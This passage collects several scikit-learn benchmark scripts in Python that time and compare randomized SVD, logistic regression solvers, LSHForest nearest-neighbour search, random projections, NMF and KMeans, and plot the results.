    all_time = defaultdict(list)
    if enable_spectral_norm:
        all_spectral = defaultdict(list)
        X_spectral_norm = norm_diff(X, norm=2, msg=False)
    all_frobenius = defaultdict(list)
    X_fro_norm = norm_diff(X, norm='fro', msg=False)

    for pi in power_iter:
        for pm in ['none', 'LU', 'QR']:
            print("n_iter = %d on sklearn - %s" % (pi, pm))
            U, s, V, time = svd_timing(X, n_comps, n_iter=pi,
                                       power_iteration_normalizer=pm,
                                       n_oversamples=n_oversamples)
            label = "sklearn - %s" % pm
            all_time[label].append(time)
            if enable_spectral_norm:
                A = U.dot(np.diag(s).dot(V))
                all_spectral[label].append(norm_diff(X - A, norm=2) /
                                           X_spectral_norm)
            f = scalable_frobenius_norm_discrepancy(X, U, s, V)
            all_frobenius[label].append(f / X_fro_norm)

        if fbpca_available:
            print("n_iter = %d on fbca" % (pi))
            U, s, V, time = svd_timing(X, n_comps, n_iter=pi,
                                       power_iteration_normalizer=pm,
                                       n_oversamples=n_oversamples,
                                       method='fbpca')
            label = "fbpca"
            all_time[label].append(time)
            if enable_spectral_norm:
                A = U.dot(np.diag(s).dot(V))
                all_spectral[label].append(norm_diff(X - A, norm=2) /
                                           X_spectral_norm)
            f = scalable_frobenius_norm_discrepancy(X, U, s, V)
            all_frobenius[label].append(f / X_fro_norm)

    if enable_spectral_norm:
        title = "%s: spectral norm diff vs running time" % (dataset_name)
        plot_time_vs_s(all_time, all_spectral, power_iter, title)
    title = "%s: Frobenius norm diff vs running time" % (dataset_name)
    plot_time_vs_s(all_time, all_frobenius, power_iter, title)


def bench_b(power_list):

    n_samples, n_features = 1000, 10000
    data_params = {'n_samples': n_samples, 'n_features': n_features,
                   'tail_strength': .7, 'random_state': random_state}
    dataset_name = "low rank matrix %d x %d" % (n_samples, n_features)
    ranks = [10, 50, 100]

    if enable_spectral_norm:
        all_spectral = defaultdict(list)
    all_frobenius = defaultdict(list)
    for rank in ranks:
        X = make_low_rank_matrix(effective_rank=rank, **data_params)
        if enable_spectral_norm:
            X_spectral_norm = norm_diff(X, norm=2, msg=False)
        X_fro_norm = norm_diff(X, norm='fro', msg=False)

        for n_comp in [np.int(rank/2), rank, rank*2]:
            label = "rank=%d, n_comp=%d" % (rank, n_comp)
            print(label)
            for pi in power_list:
                U, s, V, _ = svd_timing(X, n_comp, n_iter=pi, n_oversamples=2,
                                        power_iteration_normalizer='LU')
                if enable_spectral_norm:
                    A = U.dot(np.diag(s).dot(V))
                    all_spectral[label].append(norm_diff(X - A, norm=2) /
                                               X_spectral_norm)
                f = scalable_frobenius_norm_discrepancy(X, U, s, V)
                all_frobenius[label].append(f / X_fro_norm)

    if enable_spectral_norm:
        title = "%s: spectral norm diff vs n power iteration" % (dataset_name)
        plot_power_iter_vs_s(power_iter, all_spectral, title)
    title = "%s: Frobenius norm diff vs n power iteration" % (dataset_name)
    plot_power_iter_vs_s(power_iter, all_frobenius, title)


def bench_c(datasets, n_comps):
    all_time = defaultdict(list)
    if enable_spectral_norm:
        all_spectral = defaultdict(list)
    all_frobenius = defaultdict(list)

    for dataset_name in datasets:
        X = get_data(dataset_name)
        if X is None:
            continue

        if enable_spectral_norm:
            X_spectral_norm = norm_diff(X, norm=2, msg=False)
        X_fro_norm = norm_diff(X, norm='fro', msg=False)
        n_comps = np.minimum(n_comps, np.min(X.shape))

        label = "sklearn"
        print("%s %d x %d - %s" %
              (dataset_name, X.shape[0], X.shape[1], label))
        U, s, V, time = svd_timing(X, n_comps, n_iter=2, n_oversamples=10,
                                   method=label)

        all_time[label].append(time)
        if enable_spectral_norm:
            A = U.dot(np.diag(s).dot(V))
            all_spectral[label].append(norm_diff(X - A, norm=2) /
                                       X_spectral_norm)
        f = scalable_frobenius_norm_discrepancy(X, U, s, V)
        all_frobenius[label].append(f / X_fro_norm)

        if fbpca_available:
            label = "fbpca"
            print("%s %d x %d - %s" %
                  (dataset_name, X.shape[0], X.shape[1], label))
            U, s, V, time = svd_timing(X, n_comps, n_iter=2, n_oversamples=2,
                                       method=label)
            all_time[label].append(time)
            if enable_spectral_norm:
                A = U.dot(np.diag(s).dot(V))
                all_spectral[label].append(norm_diff(X - A, norm=2) /
                                           X_spectral_norm)
            f = scalable_frobenius_norm_discrepancy(X, U, s, V)
            all_frobenius[label].append(f / X_fro_norm)

    if len(all_time) == 0:
        raise ValueError("No tests ran. Aborting.")

    if enable_spectral_norm:
        title = "normalized spectral norm diff vs running time"
        scatter_time_vs_s(all_time, all_spectral, datasets, title)
    title = "normalized Frobenius norm diff vs running time"
    scatter_time_vs_s(all_time, all_frobenius, datasets, title)


if __name__ == '__main__':
    random_state = check_random_state(1234)

    power_iter = np.linspace(0, 6, 7, dtype=int)
    n_comps = 50

    for dataset_name in datasets:
        X = get_data(dataset_name)
        if X is None:
            continue
        print(" >>>>>> Benching sklearn and fbpca on %s %d x %d" %
              (dataset_name, X.shape[0], X.shape[1]))
        bench_a(X, dataset_name, power_iter, n_oversamples=2,
                n_comps=np.minimum(n_comps, np.min(X.shape)))

    print(" >>>>>> Benching on simulated low rank matrix with variable rank")
    bench_b(power_iter)

    print(" >>>>>> Benching sklearn and fbpca default configurations")
    bench_c(datasets + big_sparse_datasets, n_comps)

    plt.show()






# Authors: Tom Dupre la Tour <tom.dupre-la-tour@m4x.org>
#          Olivier Grisel <olivier.grisel@ensta.org>
#
# License: BSD 3 clause

import matplotlib.pyplot as plt
import numpy as np
import gc
import time

from sklearn.externals.joblib import Memory
from sklearn.linear_model import (LogisticRegression, SGDClassifier)
from sklearn.datasets import fetch_rcv1
from sklearn.linear_model.sag import get_auto_step_size
from sklearn.linear_model.sag_fast import get_max_squared_sum


try:
    import lightning.classification as lightning_clf
except ImportError:
    lightning_clf = None

m = Memory(cachedir='.', verbose=0)


# compute logistic loss
def get_loss(w, intercept, myX, myy, C):
    n_samples = myX.shape[0]
    w = w.ravel()
    p = np.mean(np.log(1. + np.exp(-myy * (myX.dot(w) + intercept))))
    print("%f + %f" % (p, w.dot(w) / 2. / C / n_samples))
    p += w.dot(w) / 2. / C / n_samples
    return p


# We use joblib to cache individual fits. Note that we do not pass the dataset
# as argument as the hashing would be too slow, so we assume that the dataset
# never changes.
@m.cache()
def bench_one(name, clf_type, clf_params, n_iter):
    clf = clf_type(**clf_params)
    try:
        clf.set_params(max_iter=n_iter, random_state=42)
    except:
        clf.set_params(n_iter=n_iter, random_state=42)

    st = time.time()
    clf.fit(X, y)
    end = time.time()

    try:
        C = 1.0 / clf.alpha / n_samples
    except:
        C = clf.C

    try:
        intercept = clf.intercept_
    except:
        intercept = 0.

    train_loss = get_loss(clf.coef_, intercept, X, y, C)
    train_score = clf.score(X, y)
    test_score = clf.score(X_test, y_test)
    duration = end - st

    return train_loss, train_score, test_score, duration


def bench(clfs):
    for (name, clf, iter_range, train_losses, train_scores,
         test_scores, durations) in clfs:
        print("training %s" % name)
        clf_type = type(clf)
        clf_params = clf.get_params()

        for n_iter in iter_range:
            gc.collect()

            train_loss, train_score, test_score, duration = bench_one(
                name, clf_type, clf_params, n_iter)

            train_losses.append(train_loss)
            train_scores.append(train_score)
            test_scores.append(test_score)
            durations.append(duration)
            print("classifier: %s" % name)
            print("train_loss: %.8f" % train_loss)
            print("train_score: %.8f" % train_score)
            print("test_score: %.8f" % test_score)
            print("time for fit: %.8f seconds" % duration)
            print("")

        print("")
    return clfs


def plot_train_losses(clfs):
    plt.figure()
    for (name, _, _, train_losses, _, _, durations) in clfs:
        plt.plot(durations, train_losses, '-o', label=name)
        plt.legend(loc=0)
        plt.xlabel("seconds")
        plt.ylabel("train loss")


def plot_train_scores(clfs):
    plt.figure()
    for (name, _, _, _, train_scores, _, durations) in clfs:
        plt.plot(durations, train_scores, '-o', label=name)
        plt.legend(loc=0)
        plt.xlabel("seconds")
        plt.ylabel("train score")
        plt.ylim((0.92, 0.96))


def plot_test_scores(clfs):
    plt.figure()
    for (name, _, _, _, _, test_scores, durations) in clfs:
        plt.plot(durations, test_scores, '-o', label=name)
        plt.legend(loc=0)
        plt.xlabel("seconds")
        plt.ylabel("test score")
        plt.ylim((0.92, 0.96))


def plot_dloss(clfs):
    plt.figure()
    pobj_final = []
    for (name, _, _, train_losses, _, _, durations) in clfs:
        pobj_final.append(train_losses[-1])

    indices = np.argsort(pobj_final)
    pobj_best = pobj_final[indices[0]]

    for (name, _, _, train_losses, _, _, durations) in clfs:
        log_pobj = np.log(abs(np.array(train_losses) - pobj_best)) / np.log(10)

        plt.plot(durations, log_pobj, '-o', label=name)
        plt.legend(loc=0)
        plt.xlabel("seconds")
        plt.ylabel("log(best - train_loss)")


rcv1 = fetch_rcv1()
X = rcv1.data
n_samples, n_features = X.shape

# consider the binary classification problem 'CCAT' vs the rest
ccat_idx = rcv1.target_names.tolist().index('CCAT')
y = rcv1.target.tocsc()[:, ccat_idx].toarray().ravel().astype(np.float64)
y[y == 0] = -1

# parameters
C = 1.
fit_intercept = True
tol = 1.0e-14

# max_iter range
sgd_iter_range = list(range(1, 121, 10))
newton_iter_range = list(range(1, 25, 3))
lbfgs_iter_range = list(range(1, 242, 12))
liblinear_iter_range = list(range(1, 37, 3))
liblinear_dual_iter_range = list(range(1, 85, 6))
sag_iter_range = list(range(1, 37, 3))

clfs = [
    ("LR-liblinear",
     LogisticRegression(C=C, tol=tol,
                        solver="liblinear", fit_intercept=fit_intercept,
                        intercept_scaling=1),
     liblinear_iter_range, [], [], [], []),
    ("LR-liblinear-dual",
     LogisticRegression(C=C, tol=tol, dual=True,
                        solver="liblinear", fit_intercept=fit_intercept,
                        intercept_scaling=1),
     liblinear_dual_iter_range, [], [], [], []),
    ("LR-SAG",
     LogisticRegression(C=C, tol=tol,
                        solver="sag", fit_intercept=fit_intercept),
     sag_iter_range, [], [], [], []),
    ("LR-newton-cg",
     LogisticRegression(C=C, tol=tol, solver="newton-cg",
                        fit_intercept=fit_intercept),
     newton_iter_range, [], [], [], []),
    ("LR-lbfgs",
     LogisticRegression(C=C, tol=tol,
                        solver="lbfgs", fit_intercept=fit_intercept),
     lbfgs_iter_range, [], [], [], []),
    ("SGD",
     SGDClassifier(alpha=1.0 / C / n_samples, penalty='l2', loss='log',
                   fit_intercept=fit_intercept, verbose=0),
     sgd_iter_range, [], [], [], [])]


if lightning_clf is not None and not fit_intercept:
    alpha = 1. / C / n_samples
    # compute the same step_size than in LR-sag
    max_squared_sum = get_max_squared_sum(X)
    step_size = get_auto_step_size(max_squared_sum, alpha, "log",
                                   fit_intercept)

    clfs.append(
        ("Lightning-SVRG",
         lightning_clf.SVRGClassifier(alpha=alpha, eta=step_size,
                                      tol=tol, loss="log"),
         sag_iter_range, [], [], [], []))
    clfs.append(
        ("Lightning-SAG",
         lightning_clf.SAGClassifier(alpha=alpha, eta=step_size,
                                     tol=tol, loss="log"),
         sag_iter_range, [], [], [], []))

    # We keep only 200 features, to have a dense dataset,
    # and compare to lightning SAG, which seems incorrect in the sparse case.
    X_csc = X.tocsc()
    nnz_in_each_features = X_csc.indptr[1:] - X_csc.indptr[:-1]
    X = X_csc[:, np.argsort(nnz_in_each_features)[-200:]]
    X = X.toarray()
    print("dataset: %.3f MB" % (X.nbytes / 1e6))


# Split training and testing. Switch train and test subset compared to
# LYRL2004 split, to have a larger training dataset.
n = 23149
X_test = X[:n, :]
y_test = y[:n]
X = X[n:, :]
y = y[n:]

clfs = bench(clfs)

plot_train_scores(clfs)
plot_test_scores(clfs)
plot_train_losses(clfs)
plot_dloss(clfs)
plt.show()






"""
Benchmark for approximate nearest neighbor search using
locality sensitive hashing forest.

There are two types of benchmarks.

First, accuracy of LSHForest queries are measured for various
hyper-parameters and index sizes.

Second, speed up of LSHForest queries compared to brute force
method in exact nearest neighbors is measures for the
aforementioned settings. In general, speed up is increasing as
the index size grows.
"""

from __future__ import division

import numpy as np
from tempfile import gettempdir
from time import time

from sklearn.neighbors import NearestNeighbors
from sklearn.neighbors.approximate import LSHForest
from sklearn.datasets import make_blobs
from sklearn.externals.joblib import Memory

m = Memory(cachedir=gettempdir())


@m.cache()
def make_data(n_samples, n_features, n_queries, random_state=0):
    """Create index and query data."""
    print('Generating random blob-ish data')
    X, _ = make_blobs(n_samples=n_samples + n_queries,
                      n_features=n_features, centers=100,
                      shuffle=True, random_state=random_state)

    # Keep the last samples as held out query vectors: note since we used
    # shuffle=True we have ensured that index and query vectors are
    # samples from the same distribution (a mixture of 100 gaussians in this
    # case)
    return X[:n_samples], X[n_samples:]


def calc_exact_neighbors(X, queries, n_queries, n_neighbors):
    """Measures average times for exact neighbor queries."""
    print ('Building NearestNeighbors for %d samples in %d dimensions' %
           (X.shape[0], X.shape[1]))
    nbrs = NearestNeighbors(algorithm='brute', metric='cosine').fit(X)
    average_time = 0

    t0 = time()
    neighbors = nbrs.kneighbors(queries, n_neighbors=n_neighbors,
                                return_distance=False)
    average_time = (time() - t0) / n_queries
    return neighbors, average_time


def calc_accuracy(X, queries, n_queries, n_neighbors, exact_neighbors,
                  average_time_exact, **lshf_params):
    """Calculates accuracy and the speed up of LSHForest."""
    print('Building LSHForest for %d samples in %d dimensions' %
          (X.shape[0], X.shape[1]))
    lshf = LSHForest(**lshf_params)
    t0 = time()
    lshf.fit(X)
    lshf_build_time = time() - t0
    print('Done in %0.3fs' % lshf_build_time)

    accuracy = 0

    t0 = time()
    approx_neighbors = lshf.kneighbors(queries, n_neighbors=n_neighbors,
                                       return_distance=False)
    average_time_approx = (time() - t0) / n_queries

    for i in range(len(queries)):
        accuracy += np.in1d(approx_neighbors[i], exact_neighbors[i]).mean()

    accuracy /= n_queries
    speed_up = average_time_exact / average_time_approx

    print('Average time for lshf neighbor queries: %0.3fs' %
          average_time_approx)
    print ('Average time for exact neighbor queries: %0.3fs' %
           average_time_exact)
    print ('Average Accuracy : %0.2f' % accuracy)
    print ('Speed up: %0.1fx' % speed_up)

    return speed_up, accuracy


if __name__ == '__main__':
    import matplotlib.pyplot as plt
    # Initialize index sizes
    n_samples = [int(1e3), int(1e4), int(1e5), int(1e6)]
    n_features = int(1e2)
    n_queries = 100
    n_neighbors = 10

    X_index, X_query = make_data(np.max(n_samples), n_features, n_queries,
                                 random_state=0)

    params_list = [{'n_estimators': 3, 'n_candidates': 50},
                   {'n_estimators': 5, 'n_candidates': 70},
                   {'n_estimators': 10, 'n_candidates': 100}]

    accuracies = np.zeros((len(n_samples), len(params_list)), dtype=float)
    speed_ups = np.zeros((len(n_samples), len(params_list)), dtype=float)

    for i, sample_size in enumerate(n_samples):
        print ('==========================================================')
        print ('Sample size: %i' % sample_size)
        print ('------------------------')
        exact_neighbors, average_time_exact = calc_exact_neighbors(
            X_index[:sample_size], X_query, n_queries, n_neighbors)
        for j, params in enumerate(params_list):
            print ('LSHF parameters: n_estimators = %i, n_candidates = %i' %
                   (params['n_estimators'], params['n_candidates']))
            speed_ups[i, j], accuracies[i, j] = calc_accuracy(
                X_index[:sample_size], X_query, n_queries, n_neighbors,
                exact_neighbors, average_time_exact, random_state=0, **params)
            print ('')
        print ('==========================================================')

    # Set labels for LSHForest parameters
    colors = ['c', 'm', 'y']
    legend_rects = [plt.Rectangle((0, 0), 0.1, 0.1, fc=color)
                    for color in colors]

    legend_labels = ['n_estimators={n_estimators}, '
                     'n_candidates={n_candidates}'.format(**p)
                     for p in params_list]

    # Plot precision
    plt.figure()
    plt.legend(legend_rects, legend_labels,
               loc='upper left')

    for i in range(len(params_list)):
        plt.scatter(n_samples, accuracies[:, i], c=colors[i])
        plt.plot(n_samples, accuracies[:, i], c=colors[i])
    plt.ylim([0, 1.3])
    plt.xlim(np.min(n_samples), np.max(n_samples))
    plt.semilogx()
    plt.ylabel("Precision@10")
    plt.xlabel("Index size")
    plt.grid(which='both')
    plt.title("Precision of first 10 neighbors with index size")

    # Plot speed up
    plt.figure()
    plt.legend(legend_rects, legend_labels,
               loc='upper left')

    for i in range(len(params_list)):
        plt.scatter(n_samples, speed_ups[:, i], c=colors[i])
        plt.plot(n_samples, speed_ups[:, i], c=colors[i])
    plt.ylim(0, np.max(speed_ups))
    plt.xlim(np.min(n_samples), np.max(n_samples))
    plt.semilogx()
    plt.ylabel("Speed up")
    plt.xlabel("Index size")
    plt.grid(which='both')
    plt.title("Relationship between Speed up and index size")

    plt.show()






"""
===========================
Random projection benchmark
===========================

Benchmarks for random projections.

"""
from __future__ import division
from __future__ import print_function

import gc
import sys
import optparse
from datetime import datetime
import collections

import numpy as np
import scipy.sparse as sp

from sklearn import clone
from sklearn.externals.six.moves import xrange
from sklearn.random_projection import (SparseRandomProjection,
                                       GaussianRandomProjection,
                                       johnson_lindenstrauss_min_dim)


def type_auto_or_float(val):
    if val == "auto":
        return "auto"
    else:
        return float(val)


def type_auto_or_int(val):
    if val == "auto":
        return "auto"
    else:
        return int(val)


def compute_time(t_start, delta):
    mu_second = 0.0 + 10 ** 6  # number of microseconds in a second

    return delta.seconds + delta.microseconds / mu_second


def bench_scikit_transformer(X, transfomer):
    gc.collect()

    clf = clone(transfomer)

    # start time
    t_start = datetime.now()
    clf.fit(X)
    delta = (datetime.now() - t_start)
    # stop time
    time_to_fit = compute_time(t_start, delta)

    # start time
    t_start = datetime.now()
    clf.transform(X)
    delta = (datetime.now() - t_start)
    # stop time
    time_to_transform = compute_time(t_start, delta)

    return time_to_fit, time_to_transform


# Make some random data with uniformly located non zero entries with
# Gaussian distributed values
def make_sparse_random_data(n_samples, n_features, n_nonzeros,
                            random_state=None):
    rng = np.random.RandomState(random_state)
    data_coo = sp.coo_matrix(
        (rng.randn(n_nonzeros),
        (rng.randint(n_samples, size=n_nonzeros),
         rng.randint(n_features, size=n_nonzeros))),
        shape=(n_samples, n_features))
    return data_coo.toarray(), data_coo.tocsr()


def print_row(clf_type, time_fit, time_transform):
    print("%s | %s | %s" % (clf_type.ljust(30),
                           ("%.4fs" % time_fit).center(12),
                           ("%.4fs" % time_transform).center(12)))


if __name__ == "__main__":
    ###########################################################################
    # Option parser
    ###########################################################################
    op = optparse.OptionParser()
    op.add_option("--n-times",
                  dest="n_times", default=5, type=int,
                  help="Benchmark results are average over n_times experiments")

    op.add_option("--n-features",
                  dest="n_features", default=10 ** 4, type=int,
                  help="Number of features in the benchmarks")

    op.add_option("--n-components",
                  dest="n_components", default="auto",
                  help="Size of the random subspace."
                       " ('auto' or int > 0)")

    op.add_option("--ratio-nonzeros",
                  dest="ratio_nonzeros", default=10 ** -3, type=float,
                  help="Number of features in the benchmarks")

    op.add_option("--n-samples",
                  dest="n_samples", default=500, type=int,
                  help="Number of samples in the benchmarks")

    op.add_option("--random-seed",
                  dest="random_seed", default=13, type=int,
                  help="Seed used by the random number generators.")

    op.add_option("--density",
                  dest="density", default=1 / 3,
                  help="Density used by the sparse random projection."
                       " ('auto' or float (0.0, 1.0]")

    op.add_option("--eps",
                  dest="eps", default=0.5, type=float,
                  help="See the documentation of the underlying transformers.")

    op.add_option("--transformers",
                  dest="selected_transformers",
                  default='GaussianRandomProjection,SparseRandomProjection',
                  type=str,
                  help="Comma-separated list of transformer to benchmark. "
                       "Default: %default. Available: "
                       "GaussianRandomProjection,SparseRandomProjection")

    op.add_option("--dense",
                  dest="dense",
                  default=False,
                  action="store_true",
                  help="Set input space as a dense matrix.")

    (opts, args) = op.parse_args()
    if len(args) > 0:
        op.error("this script takes no arguments.")
        sys.exit(1)
    opts.n_components = type_auto_or_int(opts.n_components)
    opts.density = type_auto_or_float(opts.density)
    selected_transformers = opts.selected_transformers.split(',')

    ###########################################################################
    # Generate dataset
    ###########################################################################
    n_nonzeros = int(opts.ratio_nonzeros * opts.n_features)

    print('Dataset statics')
    print("===========================")
    print('n_samples \t= %s' % opts.n_samples)
    print('n_features \t= %s' % opts.n_features)
    if opts.n_components == "auto":
        print('n_components \t= %s (auto)' %
              johnson_lindenstrauss_min_dim(n_samples=opts.n_samples,
                                            eps=opts.eps))
    else:
        print('n_components \t= %s' % opts.n_components)
    print('n_elements \t= %s' % (opts.n_features * opts.n_samples))
    print('n_nonzeros \t= %s per feature' % n_nonzeros)
    print('ratio_nonzeros \t= %s' % opts.ratio_nonzeros)
    print('')

    ###########################################################################
    # Set transformer input
    ###########################################################################
    transformers = {}

    ###########################################################################
    # Set GaussianRandomProjection input
    gaussian_matrix_params = {
        "n_components": opts.n_components,
        "random_state": opts.random_seed
    }
    transformers["GaussianRandomProjection"] = \
        GaussianRandomProjection(**gaussian_matrix_params)

    ###########################################################################
    # Set SparseRandomProjection input
    sparse_matrix_params = {
        "n_components": opts.n_components,
        "random_state": opts.random_seed,
        "density": opts.density,
        "eps": opts.eps,
    }

    transformers["SparseRandomProjection"] = \
        SparseRandomProjection(**sparse_matrix_params)

    ###########################################################################
    # Perform benchmark
    ###########################################################################
    time_fit = collections.defaultdict(list)
    time_transform = collections.defaultdict(list)

    print('Benchmarks')
    print("===========================")
    print("Generate dataset benchmarks... ", end="")
    X_dense, X_sparse = make_sparse_random_data(opts.n_samples,
                                                opts.n_features,
                                                n_nonzeros,
                                                random_state=opts.random_seed)
    X = X_dense if opts.dense else X_sparse
    print("done")

    for name in selected_transformers:
        print("Perform benchmarks for %s..." % name)

        for iteration in xrange(opts.n_times):
            print("\titer %s..." % iteration, end="")
            time_to_fit, time_to_transform = bench_scikit_transformer(X_dense,
              transformers[name])
            time_fit[name].append(time_to_fit)
            time_transform[name].append(time_to_transform)
            print("done")

    print("")

    ###########################################################################
    # Print results
    ###########################################################################
    print("Script arguments")
    print("===========================")
    arguments = vars(opts)
    print("%s \t | %s " % ("Arguments".ljust(16),
                           "Value".center(12),))
    print(25 * "-" + ("|" + "-" * 14) * 1)
    for key, value in arguments.items():
        print("%s \t | %s " % (str(key).ljust(16),
                               str(value).strip().center(12)))
    print("")

    print("Transformer performance:")
    print("===========================")
    print("Results are averaged over %s repetition(s)." % opts.n_times)
    print("")
    print("%s | %s | %s" % ("Transformer".ljust(30),
                            "fit".center(12),
                            "transform".center(12)))
    print(31 * "-" + ("|" + "-" * 14) * 2)

    for name in sorted(selected_transformers):
        print_row(name,
                  np.mean(time_fit[name]),
                  np.mean(time_transform[name]))

    print("")
    print("")






"""
Benchmarks of Non-Negative Matrix Factorization
"""

from __future__ import print_function

from collections import defaultdict
import gc
from time import time

import numpy as np
from scipy.linalg import norm

from sklearn.decomposition.nmf import NMF, _initialize_nmf
from sklearn.datasets.samples_generator import make_low_rank_matrix
from sklearn.externals.six.moves import xrange


def alt_nnmf(V, r, max_iter=1000, tol=1e-3, init='random'):
    """
    A, S = nnmf(X, r, tol=1e-3, R=None)

    Implement Lee & Seung's algorithm

    Parameters
    ----------
    V : 2-ndarray, [n_samples, n_features]
        input matrix
    r : integer
        number of latent features
    max_iter : integer, optional
        maximum number of iterations (default: 1000)
    tol : double
        tolerance threshold for early exit (when the update factor is within
        tol of 1., the function exits)
    init : string
        Method used to initialize the procedure.

    Returns
    -------
    A : 2-ndarray, [n_samples, r]
        Component part of the factorization

    S : 2-ndarray, [r, n_features]
        Data part of the factorization
    Reference
    ---------
    "Algorithms for Non-negative Matrix Factorization"
    by Daniel D Lee, Sebastian H Seung
    (available at http://citeseer.ist.psu.edu/lee01algorithms.html)
    """
    # Nomenclature in the function follows Lee & Seung
    eps = 1e-5
    n, m = V.shape
    W, H = _initialize_nmf(V, r, init, random_state=0)

    for i in xrange(max_iter):
        updateH = np.dot(W.T, V) / (np.dot(np.dot(W.T, W), H) + eps)
        H *= updateH
        updateW = np.dot(V, H.T) / (np.dot(W, np.dot(H, H.T)) + eps)
        W *= updateW
        if i % 10 == 0:
            max_update = max(updateW.max(), updateH.max())
            if abs(1. - max_update) < tol:
                break
    return W, H


def report(error, time):
    print("Frobenius loss: %.5f" % error)
    print("Took: %.2fs" % time)
    print()


def benchmark(samples_range, features_range, rank=50, tolerance=1e-5):
    timeset = defaultdict(lambda: [])
    err = defaultdict(lambda: [])

    for n_samples in samples_range:
        for n_features in features_range:
            print("%2d samples, %2d features" % (n_samples, n_features))
            print('=======================')
            X = np.abs(make_low_rank_matrix(n_samples, n_features,
                       effective_rank=rank, tail_strength=0.2))

            gc.collect()
            print("benchmarking nndsvd-nmf: ")
            tstart = time()
            m = NMF(n_components=30, tol=tolerance, init='nndsvd').fit(X)
            tend = time() - tstart
            timeset['nndsvd-nmf'].append(tend)
            err['nndsvd-nmf'].append(m.reconstruction_err_)
            report(m.reconstruction_err_, tend)

            gc.collect()
            print("benchmarking nndsvda-nmf: ")
            tstart = time()
            m = NMF(n_components=30, init='nndsvda',
                    tol=tolerance).fit(X)
            tend = time() - tstart
            timeset['nndsvda-nmf'].append(tend)
            err['nndsvda-nmf'].append(m.reconstruction_err_)
            report(m.reconstruction_err_, tend)

            gc.collect()
            print("benchmarking nndsvdar-nmf: ")
            tstart = time()
            m = NMF(n_components=30, init='nndsvdar',
                    tol=tolerance).fit(X)
            tend = time() - tstart
            timeset['nndsvdar-nmf'].append(tend)
            err['nndsvdar-nmf'].append(m.reconstruction_err_)
            report(m.reconstruction_err_, tend)

            gc.collect()
            print("benchmarking random-nmf")
            tstart = time()
            m = NMF(n_components=30, init='random', max_iter=1000,
                    tol=tolerance).fit(X)
            tend = time() - tstart
            timeset['random-nmf'].append(tend)
            err['random-nmf'].append(m.reconstruction_err_)
            report(m.reconstruction_err_, tend)

            gc.collect()
            print("benchmarking alt-random-nmf")
            tstart = time()
            W, H = alt_nnmf(X, r=30, init='random', tol=tolerance)
            tend = time() - tstart
            timeset['alt-random-nmf'].append(tend)
            err['alt-random-nmf'].append(np.linalg.norm(X - np.dot(W, H)))
            report(norm(X - np.dot(W, H)), tend)

    return timeset, err


if __name__ == '__main__':
    from mpl_toolkits.mplot3d import axes3d  # register the 3d projection
    axes3d
    import matplotlib.pyplot as plt

    samples_range = np.linspace(50, 500, 3).astype(np.int)
    features_range = np.linspace(50, 500, 3).astype(np.int)
    timeset, err = benchmark(samples_range, features_range)

    for i, results in enumerate((timeset, err)):
        fig = plt.figure('scikit-learn Non-Negative Matrix Factorization'
                         'benchmark results')
        ax = fig.gca(projection='3d')
        for c, (label, timings) in zip('rbgcm', sorted(results.iteritems())):
            X, Y = np.meshgrid(samples_range, features_range)
            Z = np.asarray(timings).reshape(samples_range.shape[0],
                                            features_range.shape[0])
            # plot the actual surface
            ax.plot_surface(X, Y, Z, rstride=8, cstride=8, alpha=0.3,
                            color=c)
            # dummy point plot to stick the legend to since surface plot do not
            # support legends (yet?)
            ax.plot([1], [1], [1], color=c, label=label)

        ax.set_xlabel('n_samples')
        ax.set_ylabel('n_features')
        zlabel = 'Time (s)' if i == 0 else 'reconstruction error'
        ax.set_zlabel(zlabel)
        ax.legend()
        plt.show()






from __future__ import print_function

from collections import defaultdict
from time import time

import numpy as np
from numpy import random as nr

from sklearn.cluster.k_means_ import KMeans, MiniBatchKMeans


def compute_bench(samples_range, features_range):

    it = 0
    results = defaultdict(lambda: [])
    chunk = 100

    max_it = len(samples_range) * len(features_range)
    for n_samples in samples_range:
        for n_features in features_range:
            it += 1
            print('==============================')
            print('Iteration %03d of %03d' % (it, max_it))
            print('==============================')
            print()
            data = nr.randint(-50, 51, (n_samples, n_features))

            print('K-Means')
            tstart = time()
            kmeans = KMeans(init='k-means++', n_clusters=10).fit(data)

            delta = time() - tstart
            print("Speed: %0.3fs" % delta)
            print("Inertia: %0.5f" % kmeans.inertia_)
            print()

            results['kmeans_speed'].append(delta)
            results['kmeans_quality'].append(kmeans.inertia_)

            print('Fast K-Means')
            # let's prepare the data in small chunks
            mbkmeans = MiniBatchKMeans(init='k-means++',
                                       n_clusters=10,
                                       batch_size=chunk)
            tstart = time()
            mbkmeans.fit(data)
            delta = time() - tstart
            print("Speed: %0.3fs" % delta)
            print("Inertia: %f" % mbkmeans.inertia_)
            print()
            print()

            results['MiniBatchKMeans Speed'].append(delta)
            results['MiniBatchKMeans Quality'].append(mbkmeans.inertia_)

    return results


def compute_bench_2(chunks):
    results = defaultdict(lambda: [])
    n_features = 50000
    means = np.array([[1, 1], [-1, -1], [1, -1], [-1, 1],
                      [0.5, 0.5], [0.75, -0.5], [-1, 0.75], [1, 0]])
    X = np.empty((0, 2))
    for i in range(8):
        X = np.r_[X, means[i] + 0.8 * np.random.randn(n_features, 2)]
    max_it = len(chunks)
    it = 0
    for chunk in chunks:
        it += 1
        print('==============================')
        print('Iteration %03d of %03d' % (it, max_it))
        print('==============================')
        print()

        print('Fast K-Means')
        tstart = time()
        mbkmeans = MiniBatchKMeans(init='k-means++',
                                   n_clusters=8,
                                   batch_size=chunk)

        mbkmeans.fit(X)
        delta = time() - tstart
        print("Speed: %0.3fs" % delta)
        print("Inertia: %0.3fs" % mbkmeans.inertia_)
        print()

        results['MiniBatchKMeans Speed'].append(delta)
        results['MiniBatchKMeans Quality'].append(mbkmeans.inertia_)

    return results


if __name__ == '__main__':
    from mpl_toolkits.mplot3d import axes3d  # register the 3d projection
    import matplotlib.pyplot as plt

    samples_range = np.linspace(50, 150, 5).astype(np.int)
    features_range = np.linspace(150, 50000, 5).astype(np.int)
    chunks = np.linspace(500, 10000, 15).astype(np.int)

    results = compute_bench(samples_range, features_range)
    results_2 = compute_bench_2(chunks)

    max_time = max([max(i) for i in [t for (label, t) in results.iteritems()
                         if "speed" in label]])
    max_inertia = max([max(i) for i in [
                        t for (label, t) in results.iteritems()
                            if "speed" not in label]])

    fig = plt.figure('scikit-learn K-Means benchmark results')
    for c, (label, timings) in zip('brcy',
                                    sorted(results.iteritems())):
        if 'speed' in label:
            ax = fig.add_subplot(2, 2, 1, projection='3d')
            ax.set_zlim3d(0.0, max_time * 1.1)
        else:
            ax = fig.add_subplot(2, 2, 2, projection='3d')
            ax.set_zlim3d(0.0, max_inertia * 1.1)

